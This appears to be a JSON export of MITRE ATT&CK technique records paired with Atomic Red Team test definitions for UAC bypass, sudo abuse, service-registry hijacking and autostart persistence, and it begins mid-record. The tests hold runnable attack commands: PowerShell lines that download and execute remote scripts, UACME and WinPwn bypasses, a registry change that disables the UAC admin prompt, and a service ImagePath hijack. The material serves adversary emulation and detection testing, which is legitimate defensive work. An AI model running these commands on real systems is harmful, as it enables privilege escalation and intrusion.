\"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "UACME Bypass Method 61", - "auto_generated_guid": "7825b576-744c-4555-856d-caf3460dc236", - "description": "Executes User Account Control Bypass according to the methods listed below. Upon successful execution you should see event viewer load and two administrative command prompts.\nNote: The cleanup_command's which kill the spawned cmd and event viewer processes only work if run as admin.\n\nAuthor: Enigma0x3/bytecode77 derivative by Nassim Asrir\n\nType:\tShell API\n\nMethod: Registry key manipulation\n\nTarget:\t\\system32\\slui.exe, \\system32\\changepk.exe\n\nComponent:\tAttacker defined\n\nImplementation:\tucmShellRegModMethod\n\nUCM Method:\tUacMethodDebugObject\n\nhttps://github.com/hfiref0x/UACME\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "uacme_exe": { - "description": "Path to uacme executable", - "type": "path", - "default": "%temp%\\uacme\\61 Akagi64.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "UACME executable must exist on disk at specified location (#{uacme_exe})\n", - "prereq_command": "$tempPath = cmd /c echo #{uacme_exe}\nif (Test-Path \"$tempPath\") {exit 0} else {exit 1}\n", - "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1548.002/bin/uacme.zip\" -OutFile \"$env:TEMP\\uacme.zip\"\nExpand-Archive $env:TEMP\\uacme.zip $env:TEMP\\uacme -Force\nRemove-Item $env:TEMP\\uacme.zip -Force\n" - } - ], - "executor": { - "command": "\"#{uacme_exe}\"\n", - "cleanup_command": "powershell Stop-Process -Name cmd -Force -ErrorAction Ignore\npowershell Stop-Process -Name mmc -Force -ErrorAction Ignore\n", - "name": "command_prompt" - } - }, - { - "name": "WinPwn - UAC Magic", - "auto_generated_guid": "964d8bf8-37bc-4fd3-ba36-ad13761ebbcc", - "description": "UAC bypass using Magic technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique magic", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass ccmstp technique", - "auto_generated_guid": "f3c145f9-3c8d-422c-bd99-296a17a8f567", - "description": "UAC bypass using ccmstp technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\calc.exe\" -technique ccmstp", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass DiskCleanup technique", - "auto_generated_guid": "1ed67900-66cd-4b09-b546-2a0ef4431a0c", - "description": "UAC bypass using DiskCleanup technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nUACBypass -noninteractive -command \"C:\\windows\\system32\\cmd.exe\" -technique DiskCleanup", - "name": "powershell" - } - }, - { - "name": "WinPwn - UAC Bypass DccwBypassUAC technique", - "auto_generated_guid": "2b61977b-ae2d-4ae4-89cb-5c36c89586be", - "description": "UAC Bypass DccwBypassUAC technique via function of WinPwn", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/obfuscatedps/dccuac.ps1')", - "name": "powershell" - } - }, - { - "name": "Disable UAC admin consent prompt via ConsentPromptBehaviorAdmin registry key", - "auto_generated_guid": "251c5936-569f-42f4-9ac2-87a173b9e9b8", - "description": "Disable User Account Conrol (UAC) for admin by setting the registry key \nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ConsentPromptBehaviorAdmin to 0.\n\n[MedusaLocker Ransomware](https://cloudsek.com/technical-analysis-of-medusalocker-ransomware/), \n[Purple Fox Rootkit](https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit), \n[Avaddon Ransomware](https://blogs.blackberry.com/en/2021/06/threat-thursday-avaddon-ransomware-uses-ddos-attacks-as-triple-threat)\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$orgValue =(Get-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin).ConsentPromptBehaviorAdmin\nSet-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value 0 -Type Dword -Force", - "cleanup_command": "Set-ItemProperty HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System -Name ConsentPromptBehaviorAdmin -Value $orgValue -Type Dword -Force\n", - "name": "powershell", - "elevation_required": true - } - }, - { - "name": "UAC Bypass with WSReset Registry Modification", - "auto_generated_guid": "3b96673f-9c92-40f1-8a3e-ca060846f8d9", - "description": "The following UAC bypass is focused on a registry key under \"HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command\" that will trigger a command once wsreset.exe runs. \nThis bypass is limited to Windows 10 1803/1809 and may not run on Server platforms. The registry mod is where interest will be.\nIf successful, the command to run will spawn off wsreset.exe. \n[UAC Bypass in Windows 10 Store Binary](https://0x1.gitlab.io/exploit/UAC-Bypass-in-Windows-10-Store-Binary/)\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "commandpath": { - "description": "Registry path", - "type": "string", - "default": "HKCU:\\Software\\Classes\\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\\Shell\\open\\command" - }, - "commandtorun": { - "description": "Command to run", - "type": "string", - "default": "C:\\Windows\\System32\\cmd.exe /c start cmd.exe" - } - }, - "executor": { - "command": "New-Item #{commandpath} -Force | Out-Null\nNew-ItemProperty -Path #{commandpath} -Name \"DelegateExecute\" -Value \"\" -Force | Out-Null\nSet-ItemProperty -Path #{commandpath} -Name \"(default)\" -Value \"#{commandtorun}\" -Force -ErrorAction SilentlyContinue | Out-Null\n$Process = Start-Process -FilePath \"C:\\Windows\\System32\\WSReset.exe\" -WindowStyle Hidden", - "cleanup_command": "Remove-Item #{commandpath} -Recurse -Force\n", - "name": "powershell" - } - } - ] - }, - "T1548.003": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", - "type": "attack-pattern", - "created": "2020-01-30T14:34:44.992Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548.003", - "url": "https://attack.mitre.org/techniques/T1548/003" - }, - { - "url": "https://www.sudo.ws/", - "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.", - "source_name": "sudo man page 2018" - }, - { - "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", - "source_name": "OSX.Dok Malware" - }, - { - "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does", - "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.", - "source_name": "cybereason osx proton" - } - ], - "modified": "2022-03-14T16:28:19.781Z", - "name": "Abuse Elevation Control Mechanism: Sudo and Sudo Caching", - "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Command: Command Execution", - "Process: Process Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_effective_permissions": [ - "root" - ], - "identifier": "T1548.003" - }, - "atomic_tests": [] - }, - "T1574.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Matthew Demaske, Adaptforward" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c", - "created": "2020-03-13T11:42:14.444Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.011", - "url": "https://attack.mitre.org/techniques/T1574/011" - }, - { - "source_name": "Tweet Registry Perms Weakness", - "url": "https://twitter.com/r0wdy_/status/936365549553991680", - "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018." - }, - { - "source_name": "insecure_reg_perms", - "url": "https://itm4n.github.io/windows-registry-rpceptmapper-eop/", - "description": "Cl\u00e9ment Labro. (2020, November 12). Windows RpcEptMapper Service Insecure Registry Permissions EoP. Retrieved August 25, 2021." - }, - { - "source_name": "Kansa Service related collectors", - "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", - "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019." - }, - { - "source_name": "malware_hides_service", - "url": "https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/", - "description": "Lawrence Abrams. (2004, September 10). How Malware hides and is installed as a Service. Retrieved August 30, 2021." - }, - { - "source_name": "Autoruns for Windows", - "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020." - }, - { - "source_name": "Registry Key Security", - "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017." - }, - { - "source_name": "microsoft_services_registry_tree", - "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree", - "description": "Microsoft. (2021, August 5). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved August 25, 2021." - }, - { - "source_name": "troj_zegost", - "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost", - "description": "Trend Micro. (2012, October 9). TROJ_ZEGOST. Retrieved September 2, 2021." - }, - { - "url": "https://capec.mitre.org/data/definitions/478.html", - "source_name": "capec", - "external_id": "CAPEC-478" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter other Registry keys in the service\u2019s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)\n\nThe Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service\u2019s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)\n\nAdversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service\u2019s file may be identified using HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\servicename\\Parameters\\ServiceDll.(Citation: malware_hides_service)", - "modified": "2022-05-05T04:53:45.640Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Hijack Execution Flow: Services Registry Permissions Weakness", - "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Windows Registry: Windows Registry Key Modification", - "Service: Service Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ], - "x_mitre_defense_bypassed": [ - "Application Control" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1574.011" - }, - "atomic_tests": [ - { - "name": "Service Registry Permissions Weakness", - "auto_generated_guid": "f7536d63-7fd4-466f-89da-7e48d550752a", - "description": "Service registry permissions weakness check and then which can lead to privilege escalation with ImagePath. eg.\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /v ImagePath /d \"C:\\temp\\AtomicRedteam.exe\"\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "weak_service_name": { - "description": "weak service check", - "type": "string", - "default": "weakservicename" - } - }, - "executor": { - "command": "get-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\* |FL\nget-acl REGISTRY::HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name} |FL\n", - "name": "powershell" - } - }, - { - "name": "Service ImagePath Change with reg.exe", - "auto_generated_guid": "f38e9eea-e1d7-4ba6-b716-584791963827", - "description": "Change Service registry ImagePath of a bengin service to a malicious file\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "weak_service_name": { - "description": "weak service name", - "type": "string", - "default": "calcservice" - }, - "weak_service_path": { - "description": "weak service path", - "type": "string", - "default": "%windir%\\system32\\win32calc.exe" - }, - "malicious_service_path": { - "description": "malicious service path", - "type": "string", - "default": "%windir%\\system32\\cmd.exe" - } - }, - "dependency_executor_name": "powershell", - "dependencies": [ - { - "description": "The service must exist (#{weak_service_name})\n", - "prereq_command": "if (Get-Service #{weak_service_name}) {exit 0} else {exit 1}\n", - "get_prereq_command": "sc.exe create #{weak_service_name} binpath= \"#{weak_service_path}\"\n" - } - ], - "executor": { - "command": "reg.exe add \"HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{weak_service_name}\" /f /v ImagePath /d \"#{malicious_service_path}\"\n", - "cleanup_command": "sc.exe delete #{weak_service_name}\n", - "name": "command_prompt" - } - } - ] - }, - "T1178": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vincent Le Toux", - "Alain Homewood, Insomnia Security" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1178", - "url": "https://attack.mitre.org/techniques/T1178" - }, - { - "source_name": "Microsoft SID", - "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", - "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx" - }, - { - "url": "https://msdn.microsoft.com/library/ms679833.aspx", - "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", - "source_name": "Microsoft SID-History Attribute" - }, - { - "source_name": "Microsoft Well Known SIDs Jun 2017", - "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", - "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems" - }, - { - "source_name": "Microsoft Get-ADUser", - "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", - "url": "https://technet.microsoft.com/library/ee617241.aspx" - }, - { - "source_name": "AdSecurity SID History Sept 2015", - "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", - "url": "https://adsecurity.org/?p=1772" - }, - { - "url": "https://msdn.microsoft.com/library/ms677982.aspx", - "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", - "source_name": "Microsoft DsAddSidHistory" - } - ], - "modified": "2020-02-18T18:35:21.493Z", - "name": "SID-History Injection", - "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1547": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", - "created": "2020-01-23T17:46:59.535Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547", - "url": "https://attack.mitre.org/techniques/T1547" - }, - { - "source_name": "Cylance Reg Persistence Sept 2013", - "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order", - "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018." - }, - { - "source_name": "MSDN Authentication Packages", - "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx", - "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017." - }, - { - "source_name": "Microsoft Run Key", - "url": "http://msdn.microsoft.com/en-us/library/aa376977", - "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014." - }, - { - "source_name": "Microsoft TimeProvider", - "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx", - "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018." - }, - { - "source_name": "Linux Kernel Programming", - "url": "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", - "description": "Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018." - }, - { - "source_name": "TechNet Autoruns", - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/564.html", - "source_name": "capec", - "external_id": "CAPEC-564" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.\n\nSince some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", - "modified": "2022-04-18T22:21:27.840Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Boot or Logon Autostart Execution", - "x_mitre_detection": "Monitor for additions or modifications of mechanisms that could be used to trigger autostart execution, such as relevant additions to the Registry. Look for changes that are not correlated with known updates, patches, or other planned administrative activity. Tools such as Sysinternals Autoruns may also be used to detect system autostart configuration changes that could be attempts at persistence.(Citation: TechNet Autoruns) Changes to some autostart configuration settings may happen under normal conditions when legitimate software is installed. \n\nSuspicious program execution as autostart programs may show up as outlier processes that have not been seen before when compared against historical data.To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL.\n\nMonitor for abnormal usage of utilities and command-line parameters involved in kernel modification or driver installation.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Windows Registry: Windows Registry Key Modification", - "Windows Registry: Windows Registry Key Creation", - "Process: Process Creation", - "Command: Command Execution", - "Module: Module Load", - "Driver: Driver Load", - "File: File Creation", - "Kernel: Kernel Module Load", - "Process: OS API Execution", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator", - "root" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "identifier": "T1547" - }, - "atomic_tests": [ - { - "name": "Add a driver", - "auto_generated_guid": "cb01b3da-b0e7-4e24-bf6d-de5223526785", - "description": "Install a driver via pnputil.exe lolbin\n", - "supported_platforms": [ - "windows" - ], - "input_arguments": { - "driver_inf": { - "description": "A built-in, already installed windows driver inf", - "type": "path", - "default": "C:\\Windows\\INF\\usbstor.inf" - } - }, - "executor": { - "command": "pnputil.exe /add-driver \"#{driver_inf}\"\n", - "name": "command_prompt" - } - } - ] - }, - "T1013": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Stefan Kanthak", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", - "type": "attack-pattern", - "created": "2017-05-31T21:30:26.057Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1013", - "url": "https://attack.mitre.org/techniques/T1013" - }, - { - "url": "http://msdn.microsoft.com/en-us/library/dd183341", - "description": "Microsoft. (n.d.). AddMonitor function. Retrieved November 12, 2014.", - "source_name": "AddMonitor" - }, - { - "url": "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", - "description": "Bloxham, B. (n.d.). Getting Windows to Play with Itself [PowerPoint slides]. Retrieved November 12, 2014.", - "source_name": "Bloxham" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2020-01-24T19:47:55.183Z", - "name": "Port Monitors", - "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. \n\nThe Registry key contains entries for the following:\n\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", 